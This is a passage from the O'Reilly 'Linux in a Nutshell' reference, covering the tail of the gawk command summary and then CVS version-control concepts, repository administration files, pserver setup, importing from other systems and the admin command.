    mesg = strftime("Ended at %m/%d/%Y %H:%M:%S", now)
    print mesg
}
tolower

tolower(str)

Translate all uppercase characters in str to lowercase and return the new string.

toupper

toupper(str)

Translate all lowercase characters in str to uppercase and return the new string.

while

while (condition)

command

Do command while condition is true (see if for a description of allowable conditions). A series of commands must be put within braces.

Previous | Home | Next
13.7. Group Listing of gawk Commands | Book Index | 14. CVS and RCS
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CVS and RCS (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 14. CVS and RCS

Contents:

Basic Concepts
The CVS Utility
CVS Administrator Reference
CVS User Reference
The RCS Utility
Overview of RCS Commands
Basic RCS Operations
General RCS Specifications
Alphabetical Summary of RCS Commands

CVS, and the older RCS, offer version control (or revision control), the practice of maintaining information about a project's evolution so that prior versions may be retrieved, changes tracked, and, most importantly, the efforts of a team of developers coordinated.

14.1. Basic Concepts

RCS (Revision Control System) works within a single directory. To accommodate large projects using a hierarchy of several directories, CVS creates two new concepts called the repository and the sandbox.

The repository (also called an archive) is the centralized storage area, managed by the version control system and the repository administrator, which stores the projects' files. The repository contains information required to reconstruct historical versions of the files in a project. An administrator sets up and controls the repository using the procedures and commands later in Section 14.3, "CVS Administrator Reference".

A sandbox (also called a working directory) contains copies of versions of files from the repository. New development occurs in sandboxes, and any number of sandboxes may be created from a single repository. The sandboxes are independent of one another and may contain files from different stages of the development of the same project. Users set up and control sandboxes using the procedures and commands found in Section 14.4, "CVS User Reference", later in this chapter.

In a typical interaction with the version control system, a developer checks out the most current code from the repository, makes changes, tests the results, and then commits those changes back to the repository when they are deemed satisfactory.

14.1.1. Locking and Merging

Some systems, including RCS, use a locking model to coordinate the efforts of multiple developers by serializing file modifications. Before making changes to a file, a developer must not only obtain a copy of it, but he must also request and obtain a lock on it from the system. This lock serves to prevent (really dissuade) multiple developers from working on the same file at the same time. When the changes are committed, the developer unlocks the file, permitting other developers to gain access to it.

The locking model is pessimistic: it assumes that conflicts must be avoided. Serialization of file modifications through locks prevents conflicts. But it is cumbersome to have to lock files for editing when bug-hunting. Often, developers will circumvent the lock mechanism to keep working, which is an invitation to trouble.

Unlike RCS and SCCS, CVS uses a merging model which allows everyone to have access to the files at all times and supports concurrent development. The merging model is optimistic: it assumes that conflicts are not common and that when they do occur, it usually isn't difficult to resolve them.

CVS is capable of operating under a locking model via the -L and -l options to the admin command. Also, CVS has special commands (edit and watch) for those who want additional development coordination support. CVS uses locks internally to prevent corruption when multiple people are accessing the repository simultaneously, but this is different from the user-visible locks of the locking model discussed here.

14.1.2. Conflicts and Merging

In the event that two developers commit changes to the same version of a file, CVS automatically defers the commit of the second committer's file. The second developer then issues the cvs update command, which merges the first developer's changes into the local file. In many cases, the changes will be in different areas of the file, and the merge is successful. However, if both developers have made changes to the same area of the file, the second to commit will have to resolve the conflict. This involves examination of the problematic area(s) of the file and selection among the multiple versions or making changes that resolve the conflict.

CVS only detects textual conflicts, but conflict resolution is concerned with keeping the project as a whole logically consistent. Therefore, conflict resolution sometimes involves changing files other than the one about which CVS complained.

For example, if one developer adds a parameter to a function definition, it may be necessary for all the calls to that function to be modified to pass the additional parameter. This is a logical conflict, so its detection and resolution is the job of the developers (with support from tools like compilers and debuggers); CVS won't notice the problem.

In any merge situation, whether or not there was a conflict, the second developer to commit will often want to retest the resulting version of the project because it has changed since the original commit. Once it passes, the developer will need to recommit the file.

14.1.3. Tagging

CVS tracks file versions by revision number, which can be used to retrieve a particular revision from the repository. In addition, it is possible to create symbolic tags so that a group of files (or an entire project) can be referred to by a single identifier even when the revision numbers of the files are not the same (which is most often the case). This capability is often used to keep track of released versions or other important project milestones.

For example, the symbolic tag hello-1_0 might refer to revision number 1.3 of hello.c and revision number 1.1 of Makefile (symbolic tags are created with the tag and rtag commands).

14.1.4. Branching

The simplest form of development is linear, in which there is a succession of revisions to a file, each derived from the prior revision. Many projects can get by with a completely linear development process, but larger projects (as measured by number of files, number of developers, and/or the size of the user community) often run into maintenance issues that require additional capabilities. Sometimes, it is desirable to do some speculative development while the main line of development continues uninterrupted. Other times, bugs in the currently released version must be fixed while work on the next version is underway. In both of these cases, the solution is to create a branch (fork) from an appropriate point in the development of the project. If at a future point some or all of the changes on the branch are needed back on the main line of development (or elsewhere), they can be merged in (joined).

Branches are forked with the tag -b command; they are joined with the update -j command.

Previous | Home | Next
13.8. Alphabetical Summary of Commands | Book Index | 14.2. The CVS Utility
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The CVS Utility (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

14.2. The CVS Utility

This section offers general background about CVS.

14.2.1. CVS Command Format

CVS commands are of the form:

cvs global_options command command_options

For example, here is a simple sequence of commands showing both kinds of options in the context of creating a repository, importing existing files, and performing a few common operations on them:

user@localhost$ cvs -d /usr/local/cvsrep init
user@localhost$ cd ~/work/hello
user@localhost$ cvs -d /usr/local/cvsrep import -m 'Import' hello vendor start
user@localhost$ cd ..
user@localhost$ mv hello hello.bak
user@localhost$ cvs -d /usr/local/cvsrep checkout hello
user@localhost$ cd hello
user@localhost$ vi hello
user@localhost$ cvs commit -m 'Fixed a typo'
user@localhost$ cvs tag hello-1_0
user@localhost$ cvs remove -f Makefile
user@localhost$ cvs commit -m 'Removed old Makefile'
user@localhost$ cvs upd -r hello-1_0
user@localhost$ cvs upd -A

Some global options are common to both user and administrator commands, and some are specific to each of these. The common global options are described in the next section, and the user and administrator options are described in the Section 14.4, "CVS User Reference" and Section 14.3, "CVS Administrator Reference" sections, respectively.

14.2.2. Common Global Options

Table 14-1 lists the global options that apply to both user and administrator commands.

Table 14-1. Common Global Options

Option | Description
-b bindir | Location of external RCS programs. This option is obsolete, having been deprecated at CVS versions above 1.9.18.
-T tempdir | Absolute path for temporary files. Overrides the setting of $TMPDIR.
-v --version | Display version and copyright information.

14.2.3. Gotchas

This section clarifies a few aspects of CVS that can sometimes cause confusion.

CVS's file orientation

While directories are supported, they are not versioned in the same way as traditional files. This is particularly important in the early evolutionary stages of a project, when the structure may be in flux. Also, if the project is undergoing major changes, the structure is likely to change. See later in Section 14.3.4, "Hacking the Repository".

CVS's text-orientation

There is no equivalent to diff for binary files, although CVS's support for binary files is usually sufficient. Use admin -kb to tell CVS a file is binary.

CVS's line-orientation

Moving a segment of code from one place in a file to another is seen as one delete (from the old location) and an unrelated add (to the new location).

CVS is not syntax-aware

As far as CVS is concerned, small formatting changes are equivalent to sweeping logic changes in the same line ranges.

RCS anachronisms

CVS was originally built on top of RCS, but now all the RCS-related functionality is internal to CVS itself. RCS still shows up in the name of the $RCSBIN environment variable and the description of the -b option, which are now obsolete.

Previous | Home | Next
14. CVS and RCS | Book Index | 14.3. CVS Administrator Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CVS Administrator Reference (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

14.3. CVS Administrator Reference

This section provides details on creating and configuring repositories and performing other CVS administrative tasks. A single computer can run multiple copies of the CVS server, and each server can serve multiple repositories.

14.3.1. Creating a Repository

Select a directory that will contain the repository files (/usr/local/cvsrep is used in the following examples). Use the init command to initialize the repository. Either set the $CVSROOT environment variable first:

user@localhost$ export CVSROOT=/usr/local/cvsrep
user@localhost$ cvs init

or use the -d option to specify the repository location:

user@localhost$ cvs -d /usr/local/cvsrep init

For information on importing code, see Section 14.4, "CVS User Reference", especially Section 14.4.7.11, "import" and Section 14.4.7.1, "add" sections.

14.3.1.1. Setting up the password server

If you want users to access the repository from other computers, then configure the pserver by doing the following as root:

  • Make sure there is an entry in /etc/services similar to the following:

    cvspserver 2401/tcp

  • If you are not using tcpwrappers, then place a line like this in /etc/inetd.conf:

    cvspserver stream tcp nowait root /usr/bin/cvs cvs
--allow-root=/usr/local/cvsroot pserver

  • Or, if you are using tcpwrappers, then use a line like this:

    cvspserver stream tcp nowait root /usr/sbin/tcpd /usr/bin/cvs
--allow-root=/usr/local/cvsroot pserver

  • Once these changes are in place, restart inetd (or send it the appropriate signal to cause it to re-read inetd.conf).

14.3.2. Security Issues

The following are security issues that need to be considered when working with CVS:

  • The contents of files will be transmitted in the open over the network with pserver and rsh. With pserver, passwords are transmitted in the open as well.

  • When using a local repository (i.e., when CVS is not being used in client/server mode), developers need write access to the repository, which means they can hack it.

  • The CVS server runs as root briefly before changing its user ID.

  • The ~/.cvspass file must be kept unreadable by all users except the owner to prevent passwords from being accessible.

  • A user who has authority to make changes to the files in the CVSROOT module can run arbitrary programs.

  • Some of the options to the admin command are very dangerous, so it is advisable to restrict its use. This can be accomplished by creating a user group named cvsadmin. If this user group exists, then only users in that group can run the admin command (except admin -k kflag, which is available to everyone).

14.3.3. Repository Structure

The CVS repository is implemented as a normal directory with special contents. This section describes the contents of the repository directory.

14.3.3.1. The CVSROOT directory

The CVSROOT directory contains the administrative files for the repository; other directories in the repository contain the modules. The administrative files permit (and ignore) blank lines and comment lines in addition to the lines with real configuration information on them. Comment lines start with a hash mark (`#').

Some of the administrative files contain filename patterns to match file and directory names. These patterns are regular expressions like those used in GNU Emacs. Table 14-2 contains the special constructions used most often.

Table 14-2. Filename Pattern Special Constructions

Construction | Description
^ | Match the beginning of the string.
$ | Match the end of the string.
. | Match any single character.
* | Modify the preceding construct to match zero or more repetitions.

CVS will perform a few important expansions in the contents of the administrative files before interpreting the results. First, the typical shell syntax for referring to a home directory is ~/, which expands to the home directory of the user running CVS; and ~user expands to the home directory of the specified user.

In addition, CVS provides a mechanism similar to the shell's environment variable expansion capability. Constructs such as ${variable} will be replaced by the value of the named variable. Variable names start with letters and consist entirely of letters, numbers, and underscores. Curly brackets may be omitted if the character immediately following the variable reference is not a valid variable name character. While this construct looks like a shell environment variable reference, the full environment is not available. Table 14-3 contains the built-in variables.

Table 14-3. Administrative File Variables

Variable | Description
CVSEDITOR EDITOR VISUAL | The editor CVS uses for log file editing.
CVSROOT | The repository locator in use.
USER | The name of the user (on the server, if using a remote repository) running CVS.
=var | The value of a user-defined variable named var. Values for these variables are provided by the global -s option.

In order to edit these files, check out the CVSROOT module from the repository, edit the files, and commit them back to the repository. You must commit the changes for them to affect CVS's behavior.

Table 14-4 describes the administrative files and their functions.

Table 14-4. CVSROOT Files

File | Description
checkoutlist | Extra files to be maintained in CVSROOT
commitinfo | Specifications for commit governors
config | Settings to affect the behavior of CVS
cvsignore | Filename patterns of files to ignore
cvswrappers | Specifications for checkout and commit filters
editinfo | Specifications for log editors (obsolete)
history | Log information for the history command
loginfo | Specify commit notifier program(s)
modules | Module definitions
notify | Notification processing specifications
passwd | A list of users and their CVS-specific passwords
rcsinfo | Template form for log messages
readers | A list of users having read-only access
taginfo | Tag processing specifications
users | Alternate user email addresses for use with notify
verifymsg | Specify log message evaluator program
writers | A list of users having read/write access

Since the editinfo file is obsolete, use the $EDITOR environment variable (or the -e option) to specify the editor and the verifymsg file to specify an evaluator.

Each line of the taginfo file contains a filename pattern and a command line to execute when files with matching names are tagged.

14.3.3.2. The checkoutlist file

Whenever changes to files in the CVSROOT module are committed, CVS prints the message:

cvs commit: Rebuilding administrative file database

to inform you that the checked-out copy in the repository has been updated to reflect any changes just committed. As with any other module directory in the repository, the CVSROOT directory contains RCS (*,v) files that retain the history of the files. But to use the files, CVS needs a copy of the latest revision. So, when CVS prints this message, it is checking out the latest revisions of the administrative files.

If you have added files to the CVSROOT module (such as scripts to be called via entries in the loginfo file), you will need to list them in the checkoutlist file. This makes CVS treat them the same way as it treats the standard set of CVSROOT files.

Each line in this file consists of a filename and an optional error message that is displayed in case there is trouble checking out the file.

14.3.3.3. The commitinfo file

Whenever a commit is being processed, CVS consults this file to determine whether or not any precommit checking of the file is required. Each line of the file contains a directory name pattern, followed by the path of a program to invoke when files are commited in directories with matching names.

Aside from the usual filename-pattern syntax, there are two special patterns:

ALL

If this pattern is present in the file, then all files are passed to the specified checking program. CVS then looks for a pattern that matches the name of each particular file and runs the additional checks found, if any.

DEFAULT

If this pattern is present in the file, all files for which there was no pattern match are sent to the specified checking program. The automatic match of every file to the ALL entry, if any, does not count as a match when determining whether or not to send the file to the DEFAULT checking program.

CVS constructs the command line for the checking program by appending the full path to the directory within the repository and the list of files being committed (this means you can specify the first few command-line arguments to the program, if necessary). If the checking program exits with a nonzero status, the commit is aborted.

The programs that run via this mechanism run on the server computer when a remote repository is used. Here is an example of a commitinfo file:

ALL $CVSROOT/CVSROOT/commit-ALL.pl
DEFAULT $CVSROOT/CVSROOT/commit-DEFAULT.pl
CVSROOT$ $CVSROOT/CVSROOT/commit-CVSROOT.pl

This example assumes you will create the script files in the CVSROOT module and add them to the checkoutlist file.

14.3.3.4. The config file

Repository configuration is specified in the config administrative file.

LockDir=dir

Directs CVS to put its lock files in the alternate directory given instead of in the repository itself, allowing users without write access to the repository (but with write access to dir) to read from the repository.

Version 1.10 doesn't support alternate directories for lock files and reports an error if this option is set. Older versions of CVS (1.9 and older) don't support this option either and will not report an error. Do not mix versions that support alternate directories for lock files with versions that don't, since lock files in both places defeat the purpose of having them.

RCSBIN=dir

Obsolete (used in versions 1.9.12 to 1.9.18). This option used to tell CVS where to find RCS programs. Since all RCS-related functions are now handled internally, this option does nothing.

SystemAuth=value

CVS tries to authenticate users via the CVSROOT/passwd file first, and if that fails and this option is set to yes, CVS tries to authenticate via the system's user database. This option is used with the password server. The default is yes.

TopLevelAdmin=value

If this option is set to yes, an additional CVS directory is created at the top-level directory when checkout is run. This allows the client software to detect the repository locator in that directory (see Section 14.4.1, "Repository Locators"). The default is no.

This option is useful if you check out multiple modules to the same sandbox directory. If it is enabled, you won't have to provide a repository locator after the first checkout; CVS infers it from the information in the top-level CVS directory created during the first checkout.

14.3.3.5. The cvsignore file

The cvsignore administrative file contains a list of filename patterns to ignore, just like the .cvsignore files that can appear in sandboxes and user home directories. Unlike the filename patterns in other administrative files, these patterns are in sh syntax; they are not GNU Emacs-style regular expressions. There can be multiple patterns on a line, separated by whitespace (consequently, the patterns themselves cannot contain whitespace).

Table 14-5 shows the most commonly used sh-style pattern constructs.

Table 14-5. Filename Patterns for cvsignore

Construct | Description
? | Any one character.
* | Any sequence of zero or more characters.

Again, diverging from the standards used by the rest of the administrative files, the cvsignore file does not support comments.

14.3.3.6. The cvswrappers file

While the cvsignore file allows CVS to ignore certain files, the cvswrappers file allows you to give CVS default options for commands that work with files. Lines in this file consist of a sh-style filename pattern followed by a -k (keyword substitution mode) option and/or an -m (update method) option. The legal values for -k are described in Table 14-19. The legal values for -m are COPY and MERGE.

If -m COPY is specified, CVS will not attempt to merge the files. Instead, it presents the user with conflicting versions of the file, and he can choose one or the other or resolve the conflict manually.

For example, to treat all files ending in .exe as binary, add this line to the file:

*.exe -k b

14.3.3.7. The history file

If this file exists, CVS inserts records of activity against the repository. This information produces displays of the cvs history command. The history file is not intended for direct reading or writing by programs other than CVS.

A repository set up with cvs init automatically has a history file.

14.3.3.8. The loginfo file

The loginfo administrative file works much like the commitinfo file and can use the special patterns ALL and DEFAULT. This file allows you to do something with commit log messages and related information.

The programs called during loginfo processing receive the log message on standard input. Table 14-6 shows the three codes that can pass additional information to the called programs via command-line arguments.

Table 14-6. Special loginfo Variables

Variable | Description
s | Filename
V | Pre-commit revision number
v | Post-commit revision number

If a percent sign (%) followed by the desired variable is placed after the command path, CVS inserts the corresponding information as a whitespace-separated list with one entry for each file, preceded by the repository path (as with commitinfo). There can be only one percent sign on the command line, so if you want information from more than one variable, place the variable names inside curly brackets: %{...}. In this case, each file-specific entry has one field for each variable, separated by commas. For example, the code %{sVv} expands into a list like this:

/usr/local/cvsrep/hello Makefile,1.1,1.2 hello.c,1.8,1.9

It can be helpful to send email notifications each time someone commits a file to the repository. Developers can monitor this stream of notices to determine when they should pull the latest development code into their private sandboxes. For example, consider a developer doing some preparatory work in his sandbox while he awaits stabilization and addition of another developer's new library. As soon as the new library is added and committed, email notification goes out, and the waiting developer sees the code is ready to use. So, he runs cvs upd -d in the appropriate directory to pull in the new library code and then sets about integrating it with his work.

It is simple to set up this kind of notification. Just add a line like this to the CVSROOT/loginfo file:

DEFAULT mail -s %s developers@company.com

Often, the email address is a mailing list, which has all the interested parties (developers or otherwise) on the distribution list. If you want to send messages to multiple email addresses, you can write a script to do that and have that script called via this file. Alternatively, you can use the log.pl program that comes as part of the CVS source distribution (located at /usr/local/src/cvs-1.10.8/contrib/log.pl, assuming CVS was unpacked into /usr/local/src). Instructions for its use are provided as comments in the file.

14.3.3.9. The modules file

The top-level directories in a repository are called modules. In addition to these physical modules, CVS provides a mechanism to create logical modules through the modules administrative file. Here are the three kinds of logical modules:

Alias

Alias modules are defined by lines of the form:

module_name -a alias_module ...

You can use the alias module name in CVS commands in the same way you use the modules named after the -a option.

Regular

Regular modules are defined by lines of the form:

module_name [options] directory file ...

Checking out module_name results in the specified files from directory being checked out into a directory named module_name. The intervening directories (if any) are not reflected in the sandbox.

Ampersand

Ampersand modules are defined by lines of the form:

module_name [options] &other_module ...

Checking out such a module results in a directory named module_name, which in turn contains copies of the other_module modules.

Table 14-7 shows the options that can define modules.

Table 14-7. Module Options

Option | Description
-d name | Overrides the default working directory name for the module
-e prog | Runs the program prog when files are exported from the module; the module name is passed to prog as the sole argument
-i prog | Runs the program prog when files are committed to the module; the repository directory of the committed files is passed in to prog as the sole argument
-i prog | Runs the program prog when files are checked out from the module; the module name is passed in to prog as the sole argument
-s status | Assigns a status descriptor to the module
-t prog | Runs the program prog when files are tagged in the module using rtag; the module name and the symbolic tag are passed to prog
-u prog | Runs the program prog when files are updated in the module's top-level directory; the full path to the module within the repository is passed to prog as the sole argument

Alias modules provide alternative names for other modules or shortcuts for referring to collections or subdirectories of other modules. Alias module definitions function like macro definitions in that they cause commands to run as if the expanded list of modules and directories was on the command line. Alias modules do not cause the modules of their definition to be grouped together under the alias name (use ampersand modules for that). For example, the definition:

h -a hello

makes the name h a synonym for the hello module. This definition:

project -a library client server

allows you to check out all three modules of the project as a unit. If an entry in the definition of an alias module is preceded by an exclamation point (!), then the named directory is excluded from the module.

Regular modules allow you to create modules that are subsets of other modules. For example, the definition:

header library library.h

creates a module that just contains the header file from the library module.

Ampersand modules are true logical modules. There are no top-level directories for them in the repository, but you can check them out to sandboxes, and directories with their names will then appear. The modules listed in the definition are below that directory. For example:

project &library &client &server

is almost the same as the alias module example given earlier, except that the submodules are checked out inside a subdirectory named project.

In this file, long definitions may be split across multiple lines by terminating all but the last line with backslashes (\).

14.3.3.10. The notify file

This file is used in conjunction with the watch command. When notifications are appropriate, this file is consulted to determine how to do the notification.

Each line of the notify file contains a filename pattern and a command line. CVS's notification mechanism uses the command line specified to perform notifications for files having names that match the corresponding pattern.

There is a single special-purpose variable, %s, that can appear in the command specification. When the command is executed, the name of the user to notify replaces the variable name. If the users administrative file exists, the user names are looked up there, and the resulting values are used for %s instead. This allows emails to be sent to accounts other than those on the local machine. Details are sent to the notification program via standard input.

Typical usage of this feature is the single entry:

ALL mail %s -s "CVS notification"

In fact, this entry is present in the default notify file created when you run cvs init to create a repository (although it is initially commented out).

14.3.3.11. The passwd file

If you access the repository via a pserver repository locator (see Section 14.4.1, "Repository Locators"), then CVS can have its own private authentication information, separate from the system's user database. This information is stored in the CVSROOT/passwd administrative file.

This feature provides anonymous CVS access over the Internet. By creating an entry for a public user (usually anoncvs or anonymous), the pserver can be used by many people sharing the public account. If you don't want to create a system user with the same name as the public user, or if you have such a user but it has a different purpose, you can employ a user alias to map it to something else:

anonymous:TY7QWpLw8bvus:cvsnoname

Then, make sure you create the cvsnoname user on the system. You can use /bin/false as the login shell and the repository's root directory as the home directory for the user.

To restrict the public user to read-only access, list it in the CVSROOT/readers administrative file.

Additionally, CVS's private user database is useful even if you don't want to set up anonymous CVS access. You can restrict access to a subset of the system's users, provide remote access to users who don't have general system access, or prevent a user's normal system password from being transmitted in the clear over the network (see Section 14.3.2, "Security Issues").

There is no cvs passwd command for setting CVS-specific passwords (located in the repository file CVSROOT/passwd). CVS-specific user and password management are manual tasks.

14.3.3.12. The rcsinfo file

CVS consults this file when doing a commit or import to determine the log message editor template. Each entry in the file consists of a filename pattern and the name of the file to use as the template for module directories with matching names.

The ALL and DEFAULT special patterns apply to this file.

14.3.3.13. The readers file

If this file exists, users listed in it have read-only access.

14.3.3.14. The taginfo file

CVS consults this file whenever the tag or rtag commands are used. Entries in this file are filename patterns and program specifications. The ALL special pattern applies to this file.

The taginfo file is called with the tag, the operation being performed, the module directory name (relative to the repository root), and the filename and revision number for each affected file. The valid operations are: add (for tag), del (for tag -d), and mov (for tag -F).

If the taginfo program returns a nonzero status, the tag or rtag command that caused its execution is aborted.

14.3.3.15. The users file

If this file exists, it is consulted during processing of the notify administrative file's contents. Entries in this file consist of two colon-separated fields on a single line. The first field is the name of a user, and the second field is a value (normally the user's email address on another machine). For example:

john:john@somecompany.com
jane:jane@anothercompany.com

14.3.3.16. The verifymsg file

CVS consults this file to determine if log messages should be validated. If the program returns a nonzero status, the commit is aborted. The verifymsg file is called with the full path to a file containing the log message to be verified.

The ALL special pattern is not supported for this file, although DEFAULT is. If more than one pattern matches, the first match is used.

14.3.3.17. The writers file

If this file exists, users listed in it have read/write access (unless they are also listed in the readers file, in which case they have read-only access).

14.3.4. Hacking the Repository

Since the repository is a normal directory, albeit one with special contents, it is possible to cd into the directory and examine its contents and/or make changes to the files and directories there. For each file that has been added there will be a file with the same name followed by ,v in a corresponding directory in the repository. These are RCS (the format, not the program) files that contain multiple versions of the file.

NOTE

Since the activities discussed in this section involve making changes directly to the repository instead of working through CVS commands, you should exercise extreme caution and have current backups when following these instructions.

14.3.4.1. Restructuring a project

Restructuring the project by moving files and directories around (and possibly renaming them) in the repository will allow the files to retain their history. The standard way to rename a file when using CVS is to rename the file in the sandbox and do a cvs remove on the old name and a cvs add on the new name. This results in the file being disconnected from its history under the new name, so sometimes it is better to do the renaming directly in the repository, although doing this while people have active sandboxes is dangerous, since the sandboxes will contain information about a file that is no longer in the repository.

14.3.4.2. Bulk importing

When importing an entire project, all of the project's files will be added to the repository. But, if some of these files shouldn't have been added, you'll want to remove them. Doing a cvs remove will accomplish this, but copies of those files will remain in the repository's .Attic directory forever. To avoid this, you can delete the files from the repository directly before checking out sandboxes from it.

14.3.5. Importing

If you have an existing code base, you'll want to import it into CVS in a way that preserves the most historical information. This section provides instructions for importing projects into CVS from code snapshots or other version control systems. All of these, except the code snapshot import procedure, are based upon conversion to RCS files, followed by placing the RCS files in the proper location in the CVS repository.

14.3.5.1. Importing code snapshots

If you have maintained project history archives manually by taking periodic snapshots of the code, you can import the first snapshot, tag it with the date or version number, and then successively overlay the updated files from later archives. Each set can then be committed and tagged in order to bootstrap a repository that maintains the prior history.

For example, first unpack the distributions (this assumes they unpack to directories containing the version numbers):

user@localhost$ tar xvzf foo-1.0.tar.gz
user@localhost$ tar xvzf foo-1.1.tar.gz
user@localhost$ tar xvzf foo-2.0.tar.gz

Next, make a copy of the first version, import it into the CVS repository, check it out to make a sandbox (since importing doesn't convert the source directory into a sandbox), and use cvs tag to give it a symbolic name reflecting the project version:

user@localhost$ mkdir foo
user@localhost$ cp -R -p foo-1.0/* foo
user@localhost$ cd foo
user@localhost$ cvs import -m 'Imported version 1.0' foo vendor start
user@localhost$ cd ..
user@localhost$ mv foo foo.bak
user@localhost$ cvs checkout foo
user@localhost$ cd foo
user@localhost$ cvs tag foo-1_0
user@localhost$ cd ..

Now, apply the differences between version 1.0 and 1.1 to the sandbox, commit the changes, and create a tag:

user@localhost$ diff -Naur foo-1.0 foo-1.1 | (cd foo; patch -Np1)
user@localhost$ cd foo
user@localhost$ cvs commit -m 'Imported version 1.1'
user@localhost$ cvs tag foo-1_1
user@localhost$ cd ..

Now, apply the differences between version 1.1 and 2.0 to the sandbox, commit the changes, and create a tag:

user@localhost$ diff -Naur foo-1.1 foo-2.0 | (cd foo; patch -Np1)
user@localhost$ cd foo
user@localhost$ cvs commit -m 'Imported version 2.0'
user@localhost$ cvs tag foo-2_0

Now, you can use the log command to view the history of the files, browse past versions of the files, and continue development under version control.

14.3.5.2. Importing from RCS

If you are migrating from RCS to CVS, following these instructions will result in a usable CVS repository. This procedure involves direct modification of the CVS repository, so it should be undertaken with caution.

Before beginning, make sure none of the files to be imported into CVS are locked by RCS. Then, create a new CVS repository and module (or a new module within an existing repository). Next, create directories in the CVS repository to mirror the project's directory structure. Finally, copy all the version files (,v) from the project (which may be in RCS subdirectories) into the appropriate directories in the repository (without RCS subdirectories).

For example, first move aside the directory under RCS control, create an empty directory to build the new CVS structure, import the directory, and then check it out to make a sandbox:

user@localhost$ mv foo foo-rcs
user@localhost$ mkdir foo
user@localhost$ cd foo
user@localhost$ cvs import -m 'New empty project' foo vendor start
user@localhost$ cd ..
user@localhost$ mv foo foo.bak
user@localhost$ cvs checkout foo

Next, make directories and add them to the repository to match the structure in the RCS project:

user@localhost$ cd foo
user@localhost$ mkdir dir
user@localhost$ cvs add dir
user@localhost$ cd ..

Now, copy the ,v files from the RCS project into the repository for the CVS project:

user@localhost$ cp -p foo-rcs/*,v $CVSROOT/foo
user@localhost$ cp -p foo-rcs/dir/*,v $CVSROOT/foo/dir

Finally, issue the cvs update command in the sandbox directory to bring in the latest versions of all the files:

user@localhost$ cd foo
user@localhost$ cvs upd

14.3.5.3. Importing from SCCS

To import from SCCS, use the sccs2rcs script located in the contrib directory of the CVS distribution to convert the files to RCS format, and then follow the preceding RCS procedure. You must have both CVS and SCCS installed for this to work. The script's comments contain additional instructions.

14.3.5.4. Importing from PVCS

To import from PVCS, use the pvcs_to_rcs script located in the contrib directory of the CVS distribution to convert the files to RCS format, and then follow the previous RCS procedure. You must have both CVS and PVCS installed for this to work. The script's comments contain additional instructions.

14.3.6. Using an Interim Shared Sandbox

Sometimes projects will develop unintended environmental dependencies over time, especially when there is no pressure for the code to be relocatable. A project developed outside version control may even be initially developed in place (at its intended installation location). While these practices are not recommended, they do occur in real-world situations; CVS can be helpful in improving the situation, by encouraging relocatability from the beginning of a project.

The default mode of operation for CVS is multiple independent sandboxes, all coordinated with a central shared repository. Code that runs in this environment is necessarily (at least partially) relocatable. So, using CVS from the beginning of a project helps ensure flexibility.

However, if a project is already well underway, an interim approach can be used. For example, you could convert the development area to a single shared sandbox by importing the code into CVS and checking it back out again:

user@localhost$ cd /usr/local/bar
user@localhost$ cvs import bar vendor start
user@localhost$ cd ..
user@localhost$ mv bar bar.bak
user@localhost$ cvs checkout bar

Chances are good that this approach is too aggressive and will check in more files than absolutely necessary. You can either go back and hack the repository to remove the files that shouldn't be there or just issue the cvs remove command to delete them as you discover them.

In addition, there will probably be some binary files in the sandbox that were imported as text files. Wherever you see a binary file that needs to remain in the repository, you should issue the command cvs admin -kb file, then make a fresh copy from the project backup. Finally, issue the command cvs commit file to commit the fixed file back to the repository.

Having version control in place before making flexibility enhancements is a good idea, since it makes it easier to find (and possibly reverse) changes that cause trouble.

The repository locator (see Section 14.4.1, "Repository Locators") is specified via the -d option or the $CVSROOT environment variable. It is stored in the various sandbox CVS/root files. If you are using the password server (pserver), the user ID of the person checking out the sandbox will be remembered. If more than one person is working with a particular sandbox, they will have to share an account for CVS access.

One way to do this is to have a neutral user account, with a password known by everyone with CVS access. Everyone can then issue the cvs login command with the same user ID and password and have access to the repository. Once you are no longer using a shared sandbox, this workaround won't be necessary. However, during the time you are using a shared sandbox, it is important that the developers type their real user IDs into their log messages, since all the changes will appear to be made by the common user.

14.3.7. Global Server Option

The server has one global option: --allow-root=rootdir. This option is used to tell the CVS server to accept and process requests for the specified repository.

14.3.8. Administrator Commands

Table 14-8 lists the commands that CVS administrators can use to manage their repositories.

Table 14-8. Administrator Commands

Command | Description
admin adm rcs | Perform administrative functions
init | Create a new repository
server | Run in server mode

14.3.8.1. admin

admin
  [ -b[rev] ]
  [ -cstring ]
  [ -kkflag ]
  [ -l[rev] ]
  [ -L ]
  [ -mrev:msg ]
  [ -nname[:[rev]] ]
  [ -Nname[:[rev]] ]
  [ -orange ]
  [ -q ]
  [ -sstate[:rev]
  [ -t[file] ]
  [ -t-string ]
  [ -u[rev] ]
  [ -U ]
  [ files ... ]

The admin is used to perform administrative functions. If a cvsadmin user group exists, then only those users in that group will be able to run admin with options other than -k. Additional options that may be used with the admin command are listed in Table 14-9.

Table 14-9. admin Options

Option | Description
-b[rev] | Set the default branch.
-c string | Obsolete. Set the comment leader.
-k kflag | Set the default keyword substitution mode.
-l[rev] | Lock the specified revision.
-L | Enable strict locking.
-m rev:msg | Change the revision's log message.
-n name[:[rev]] | Give the branch or revision specified the symbolic name name.
-N name[:[rev]] | The same as -n, except that if name is already in use, it is moved.
-o range | Delete revisions permanently.
-q | Don't print diagnostics.
-s state[:rev] | Change the state of a revision.
-t[file] | Set the descriptive text in the RCS file.
-t-string | Set the descriptive text in the RCS file to string.
-u[rev] | Unlock the specified revision.
-U | Disable strict locking.

If the revision specified for -l is a branch, the latest revision on that branch will be used. If no revision is given, the latest revision on the default branch is used.

If the name given for -n is already in use, an error is generated. You can use -N to move a tag (change the revision associated with the tag); however, you should usually use cvs tag or cvs rtag instead.

The -o option is very dangerous and results in a permanent loss of information from the repository. Use it with extreme caution and only after careful consideration. See Table 14-10 for the various ways to specify ranges. There must not be any branches or locks on the revisions to be removed. Beware of interactions between this command and symbolic names.

If no file is specified to the -t option, CVS reads from standard input until it reaches the end of the file or a period on a line by itself.

The determination of the target revision for the -u option is the same as for -l.

Table 14-10. Range Formats

Format | Description
rev1::rev2 | Eliminate versions between rev1 and rev2, retaining only enough information to go directly from rev1 to rev2. The two specified versions are retained.
::rev | The same as rev1::rev2, except the first revision is the branchpoint revision.
